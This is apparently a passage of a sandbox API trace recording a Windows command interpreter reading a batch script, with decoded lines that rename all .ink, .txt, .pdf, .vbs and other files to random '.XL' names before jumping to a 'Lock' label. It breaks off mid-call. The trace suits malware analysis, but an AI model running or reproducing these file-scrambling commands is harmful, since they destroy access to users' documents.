1 [0039.521] SetFilePointer (in: hFile=0x74, lDistanceToMove=4733, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x127d [0039.521] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\nr %RANDOM%.XL\r\n") returned 11 [0039.521] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.521] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x127d [0039.521] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.521] GetFileType (hFile=0x74) returned 0x1 [0039.521] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x127d [0039.521] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.521] SetFilePointer (in: hFile=0x74, lDistanceToMove=4735, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x127f [0039.521] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0039.521] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.521] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x127f [0039.522] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.522] GetFileType (hFile=0x74) returned 0x1 [0039.522] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x127f [0039.522] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.522] SetFilePointer (in: hFile=0x74, lDistanceToMove=4741, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1285 [0039.522] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":ink\r\nock\r\n") returned 6 [0039.522] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.522] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1285 [0039.522] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.522] GetFileType (hFile=0x74) returned 0x1 [0039.522] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1285 [0039.522] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.522] SetFilePointer (in: hFile=0x74, lDistanceToMove=4743, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1287 [0039.522] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nnk\r\n") returned 2 [0039.522] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.522] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1287 [0039.522] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.523] GetFileType (hFile=0x74) returned 0x1 [0039.523] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1287 [0039.523] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.523] SetFilePointer (in: hFile=0x74, lDistanceToMove=4769, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x12a1 [0039.523] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.ink %RANDOM%.XL\r\n") returned 26 [0039.523] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.523] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x12a1 [0039.523] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.523] GetFileType (hFile=0x74) returned 0x1 [0039.523] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x12a1 [0039.523] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.523] SetFilePointer (in: hFile=0x74, lDistanceToMove=4780, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x12ac [0039.523] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\nk %RANDOM%.XL\r\n") returned 11 [0039.523] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.523] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x12ac [0039.523] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.523] GetFileType (hFile=0x74) returned 0x1 [0039.523] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x12ac [0039.524] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.524] SetFilePointer (in: hFile=0x74, lDistanceToMove=4782, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x12ae [0039.524] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0039.524] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.524] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x12ae [0039.524] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.524] GetFileType (hFile=0x74) returned 0x1 [0039.524] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x12ae [0039.524] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.524] SetFilePointer (in: hFile=0x74, lDistanceToMove=4788, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x12b4 [0039.524] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":txt\r\nock\r\n") returned 6 [0039.524] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.524] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x12b4 [0039.524] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.524] GetFileType (hFile=0x74) returned 0x1 [0039.524] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x12b4 [0039.525] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.525] SetFilePointer (in: hFile=0x74, lDistanceToMove=4790, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x12b6 [0039.525] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nxt\r\n") returned 2 [0039.525] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.525] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x12b6 [0039.525] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.525] GetFileType (hFile=0x74) returned 0x1 [0039.525] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x12b6 [0039.525] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.525] SetFilePointer (in: hFile=0x74, lDistanceToMove=4816, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x12d0 [0039.525] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.txt %RANDOM%.XL\r\n") returned 26 [0039.525] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.525] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x12d0 [0039.525] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.525] GetFileType (hFile=0x74) returned 0x1 [0039.525] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x12d0 [0039.525] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.525] SetFilePointer (in: hFile=0x74, lDistanceToMove=4827, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x12db [0039.526] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\nt %RANDOM%.XL\r\n") returned 11 [0039.526] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.526] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x12db [0039.526] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.526] GetFileType (hFile=0x74) returned 0x1 [0039.526] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x12db [0039.526] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.526] SetFilePointer (in: hFile=0x74, lDistanceToMove=4829, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x12dd [0039.526] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0039.526] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.526] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x12dd [0039.526] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.526] GetFileType (hFile=0x74) returned 0x1 [0039.526] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x12dd [0039.526] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.526] SetFilePointer (in: hFile=0x74, lDistanceToMove=4835, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x12e3 [0039.526] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":pdf\r\nock\r\n") returned 6 [0039.527] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.527] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x12e3 [0039.527] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.527] GetFileType (hFile=0x74) returned 0x1 [0039.527] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x12e3 [0039.527] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.527] SetFilePointer (in: hFile=0x74, lDistanceToMove=4837, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x12e5 [0039.527] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\ndf\r\n") returned 2 [0039.527] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.527] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x12e5 [0039.527] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.527] GetFileType (hFile=0x74) returned 0x1 [0039.527] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x12e5 [0039.527] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.527] SetFilePointer (in: hFile=0x74, lDistanceToMove=4863, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x12ff [0039.527] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.pdf %RANDOM%.XL\r\n") returned 26 [0039.527] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.527] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x12ff [0039.528] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.528] GetFileType (hFile=0x74) returned 0x1 [0039.528] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x12ff [0039.528] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.528] SetFilePointer (in: hFile=0x74, lDistanceToMove=4874, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x130a [0039.528] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\nf %RANDOM%.XL\r\n") returned 11 [0039.528] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.528] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x130a [0039.528] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.528] GetFileType (hFile=0x74) returned 0x1 [0039.528] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x130a [0039.528] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.528] SetFilePointer (in: hFile=0x74, lDistanceToMove=4876, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x130c [0039.528] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0039.528] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.528] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x130c [0039.528] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.528] GetFileType (hFile=0x74) returned 0x1 [0039.529] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x130c [0039.529] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.529] SetFilePointer (in: hFile=0x74, lDistanceToMove=4882, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1312 [0039.529] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":vbs\r\nock\r\n") returned 6 [0039.529] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.529] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1312 [0039.529] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.529] GetFileType (hFile=0x74) returned 0x1 [0039.529] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1312 [0039.529] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.529] SetFilePointer (in: hFile=0x74, lDistanceToMove=4884, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1314 [0039.529] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nbs\r\n") returned 2 [0039.529] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.529] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1314 [0039.529] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.529] GetFileType (hFile=0x74) returned 0x1 [0039.529] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1314 [0039.529] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.530] SetFilePointer (in: hFile=0x74, lDistanceToMove=4910, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x132e [0039.530] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.vbs %RANDOM%.XL\r\n") returned 26 [0039.530] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.530] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x132e [0039.530] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.530] GetFileType (hFile=0x74) returned 0x1 [0039.530] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x132e [0039.530] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.530] SetFilePointer (in: hFile=0x74, lDistanceToMove=4921, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1339 [0039.530] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\ns %RANDOM%.XL\r\n") returned 11 [0039.530] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.530] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1339 [0039.530] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.530] GetFileType (hFile=0x74) returned 0x1 [0039.530] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1339 [0039.530] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.530] SetFilePointer (in: hFile=0x74, lDistanceToMove=4923, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x133b [0039.531] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0039.531] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.531] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x133b [0039.531] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.531] GetFileType (hFile=0x74) returned 0x1 [0039.531] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x133b [0039.531] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.531] SetFilePointer (in: hFile=0x74, lDistanceToMove=4930, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1342 [0039.531] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=7, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":docx\r\nck\r\n") returned 7 [0039.531] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.531] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1342 [0039.531] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.531] GetFileType (hFile=0x74) returned 0x1 [0039.531] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1342 [0039.531] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.531] SetFilePointer (in: hFile=0x74, lDistanceToMove=4932, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1344 [0039.531] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, 